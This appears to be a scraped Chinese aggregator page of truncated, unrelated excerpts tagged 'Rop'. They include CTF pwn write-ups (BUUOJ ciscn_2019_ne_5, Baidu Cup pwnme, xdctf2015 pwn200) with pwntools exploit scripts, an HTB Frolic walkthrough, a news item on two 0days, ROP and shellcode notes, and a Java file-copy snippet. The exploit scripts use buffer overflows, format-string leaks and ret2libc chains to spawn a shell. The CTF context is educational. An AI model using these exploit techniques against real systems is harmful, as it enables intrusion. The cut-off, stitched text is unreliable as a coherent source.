Rop

buuoj Pwn writeup 21-30

喜夏-厌秋 提交于 2021-02-08 09:34:38
21 ciscn_2019_ne_5 保护 这个地方的strcpy函数,一看就估摸着有问题。 他把src那块的东西复制到了dest 但是你会发现 dest那里 0x48 但是你是可以往src那里输入东西的。 一口气能输128个字节,那这就造成了溢出。 那再说怎么利用 这个地方首先要注意他这里没有/bin/sh,但是有sh 而且还非常隐蔽 所以呢咱们这边推荐之后/bin/sh跟sh的搜索都用ROPgadget。 非常的nice 然后程序里面本来就有system函数,然后就一把梭。 exp from pwn import * context ( log_level = 'debug' ) proc_name = './2019' p = process ( proc_name ) # p = remote('node3.buuoj.cn', 29868) elf = ELF ( proc_name ) system_addr = elf . sym [ 'system' ] main_addr = elf . sym [ 'main' ] sh_str = 0x80482ea p . sendlineafter ( 'password:' , 'administrator' ) p . recv ( ) p . sendline ( '1' ) p . recvuntil (

微软对外披露两个0day漏洞详情

三世轮回 提交于 2021-02-08 02:38:10
微软近日对外披露了两个0day漏洞详情,其中一个漏洞存在Adobe阅读器中,可被利用导致任意代码执行;另一个漏洞则允许任意代码在Windows kernel内存中提权执行。 微软称由于该漏洞利用目前还处于初期阶段,且官方都已发布了补丁,建议大家及时进行安装,赶在被大规模利用前修复,未雨绸缪。同时,建议排查初期样本的IOC(文末附修复补丁链接和IOC)。 CVE CVE-2018-4990 CVE-2018-8120 类型 远程代码执行 本地提权 官方评级 Critical Important 影响产品 Acrobat DCAcrobat Reader DC Windows 7Windows Server 2008 POC样本 有 有 在野攻击 暂无 暂无 修复补丁 有 有 这两个漏洞利用样本最早是由ESET分析人员在今年3月发现并报告给了微软,在ESET和微软的共同努力下发现了以上两个0day漏洞。以下漏洞利用分析过程是基于以下样本进行: SHA-256:4b672deae5c1231ea20ea70b0bf091164ef0b939e2cf4d142d31916a169e8e01 漏洞利用概况 Adobe Acrobatand Reader漏洞存在于PDF文档中,伪装成暗含JavaScript漏洞利用代码的恶意JPEG 2000图像,漏洞利用路径如下图所示: 图1.

HTB-靶机-Frolic

随声附和 提交于 2021-02-02 12:20:12
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关 靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.111 本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描 执行命令 autorecon 10.10.10.111 -o ./Frolic-autorecon 爆破到目录admin访问下 没发现啥东西,查看下网页源代码 看到一个js文件 发现有个success.html的路径 访问结果如上,经过谷歌搜索确认跟密码学有关,解密地址:https://www.splitbrain.org/_static/ook/ 得到上面的一个路径,再访问一把 得到上面的base64编码信息,将其解码重定向到一个文件中 sudo echo ' UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb

十一月百度杯pwnme 详细wp

喜欢而已 提交于 2021-01-14 04:26:00
[TOC] #程序基本信息 可以看到开启了栈不可执行和got表不可写保护。 #程序溢出点 在函数sub_400AF7中,v8可以读入0x12C个字节,同时if判断中对v8进行字节截断,所以我们可以输入如0x101个字符,在保证能够溢出到返回地址的同时,v8字节截断后的0x01又能够通过if判断,然后通过函数sub_400A90进行溢出。 函数sub_400AD1中存在格式化字符串漏洞,我们可以通过这个漏洞泄露任意地址的内容,并通过DynELF类获得system函数的地址。 #整体思路 这个程序首先让你输入username跟password,然后提供三个选项 溢出漏洞位于选项2中,格式化漏洞在选项1中。 我们在输入完username和password后,首先进入选项2中,然后构造合适的payload,然后让程序调用选项1能够泄露任意地址的内容,从而可以通过DynELF类获取sytem地址。 然后让程序进入选项2中,构造能够溢出并绕过if的payload,通过ROP技术调用read函数输入/bin/sh并调用sytem函数完成system('/bin/sh')pwn掉程序。 #exp脚本 from pwn import * io = remote('106.75.2.53',10006) io.recvuntil('Input your username(max lenth:40):

ROP(Return Oriented Programming)原理解析

左心房为你撑大大i 提交于 2020-09-28 09:37:25
先看一个代码: # include <stdio.h> # include <stdlib.h> // 下面的dummy_libc_part1和dummy_libc_part2假设是GLIBC库里的任意两段函数 void dummy_libc_part1 ( ) { // ... 这里可能会有别的指令 __asm ( "mov 0(%rsp), %rdi" ) ; __asm ( "popq %r13" ) ; __asm ( "call *%r14" ) ; __asm ( "ret" ) ; // ... 这里可能会有别的指令 } void dummy_libc_part2 ( ) { // ... 这里可能会有别的指令 __asm ( "popq %r14" ) ; __asm ( "ret" ) ; // ... 这里可能会有别的指令 } int main ( int argc , char * * argv ) { __asm ( "pushq $0x400545" ) ; __asm ( "pushq $0x62" ) ; __asm ( "pushq $0x400521" ) ; __asm ( "pushq $0x400400" ) ; __asm ( "pushq $0x40052f" ) ; __asm ( "ret" ) ; printf ( "." ) ;

如何把shellcode转换成exe文件分析

霸气de小男生 提交于 2020-08-10 06:47:27
【转】 http://www.freebuf.com/articles/web/152879.html 前言 在分析 shellcode 时,静态分析或者使用 scdbg 模拟分析都不够准确,如果转换成 exe 文件那么就可以用 debugger 或者 IDA 分析,会方便很多。 样本分析 这里以 CVE-2013-3346 的样本为例,使用 peepdf 分析样本: $ python peepdf.py -i -f ~/Downloads/sample.pdf File: sample.pdfMD5: 6776bda19a3a8ed4c2870c34279dbaa9SHA1: ad6a3564e125683a791ee98c5d1e66e1d9c6877dSize: 177511 bytesVersion: 1.1Binary: FalseLinearized: FalseEncrypted: FalseUpdates: 0Objects: 4Streams: 2Comments: 0Errors: 1Version 0:Catalog: 1Info: No Objects (4): [1, 2, 3, 10] Errors (1): [3] Streams (2): [10, 3] Encoded (0): [] Objects with JS code (1): [3]

Linux下pwn从入门到放弃

*爱你&永不变心* 提交于 2020-08-09 02:22:21
Linux下pwn从入门到放弃 0x0 简介 pwn,在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。 虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行,传统的缓冲区溢出又一次有了用武之处 0x01 工欲善其事,必先利其器 Linux下的pwn常用到的工具有: gdb:Linux调试中必要用到的 gdb-peda:gdb方便调试的工具,类似的工具有gef,gdbinit,这些工具的安装可以参考: http://blog.csdn.net/gatieme/article/details/63254211 pwntools:写exp和poc的利器 checksec:可以很方便的知道elf程序的安全性和程序的运行平台 objdump和readelf:可以很快的知道elf程序中的关键信息 ida pro :强大的反编译工具 ROPgadget:强大的rop利用工具 one_gadget:可以快速的寻找libc中的调用exec('bin/sh')的位置 libc-database: 可以通过泄露的libc的某个函数地址查出远程系统是用的哪个libc版本 0x02 检测elf的安全性: (1)拿到efl,首先要用checksec来检测elf运行于哪个平台,开启了什么安全措施,如果用gcc的编译后,默认会开启所有的安全措施。 【1】RELRO

NIO FileChannel 零拷贝复制文件

跟風遠走 提交于 2020-05-06 23:10:49
使用 linux 上使用 strace 命令获得系统调用 下面这个会先拷贝到用户空间 public void test2() throws IOException { // 220 long start = System.currentTimeMillis(); try ( FileInputStream inputStream = new FileInputStream("rop.mp4"); FileChannel inChannel = inputStream.getChannel(); FileOutputStream outputStream = new FileOutputStream("rop2.mp4"); FileChannel outChannel = outputStream.getChannel(); ) { ByteBuffer byteBuffer = ByteBuffer.allocate(1024); while (inChannel.read(byteBuffer) != -1) { byteBuffer.flip(); outChannel.write(byteBuffer); byteBuffer.clear(); } } System.out.println(System.currentTimeMillis() - start); }

xdctf2015_pwn200

二次信任 提交于 2020-05-05 12:02:52
exp 脚本 栈溢出 rop 泄露 libc 地址,再次 栈溢出 rop 执行 system('/bin/sh') 拿 shell 。 from pwn import * context.log_level = 'debug' sh = remote('node3.buuoj.cn',26961) elf = ELF('bof') libc = ELF('libc-2.23x86.so') payload = 112 * 'a' payload += p32(elf.plt['write']) payload += p32(elf.symbols['main']) payload += p32(1) payload += p32(elf.got['write']) payload += p32(4) sh.sendline(payload) write_addr = u32(sh.recvuntil('\xf7')[-4:]) print hex(write_addr) libcbase = write_addr - libc.symbols['write'] system = libcbase + libc.symbols['system'] binsh = libcbase + libc.search('/bin/sh').next() payload = 112 * 'a'

shellcode与系统安全

不羁的心 提交于 2020-02-25 16:13:59
shellcode与系统安全 http://tommwq.tech/blog/shellcode-and-security/ 1. 避免shellcode中出现0x00的方法 2. 获取shellcode地址 3. 向函数传递参数 4. 部分Linux系统调用 4.1. execve(32位) 5. 将二进制文件转换为C语言字符串 6. 一个简单的shellcode 7. 一些辅助函数 8. 一个简单的缓冲区溢出示例 9. 示例2:缓冲区溢出攻击 10. 缓冲区溢出攻击的基本流程 11. 数据执行保护和绕过 12. 示例3:绕过DEP 13. ROP 14. 示例4:ROP 15. 思考 1 避免shellcode中出现0x00的方法 使用 xor eax, eax 代替 mov eax, 0x00 。 使用 xor eax, eax; mov al, 0x01 代替 mov eax, 0x01 。 2 获取shellcode地址 从逻辑上看, call target 等效于 dec esp mov [esp], eip jmp target 因此,执行call指令可以将下一条指令的地址写入栈。在call之后执行 pop eax 就可以将目标地址保存到eax中。call分为near call和far call,near call使用的是段内的相对地址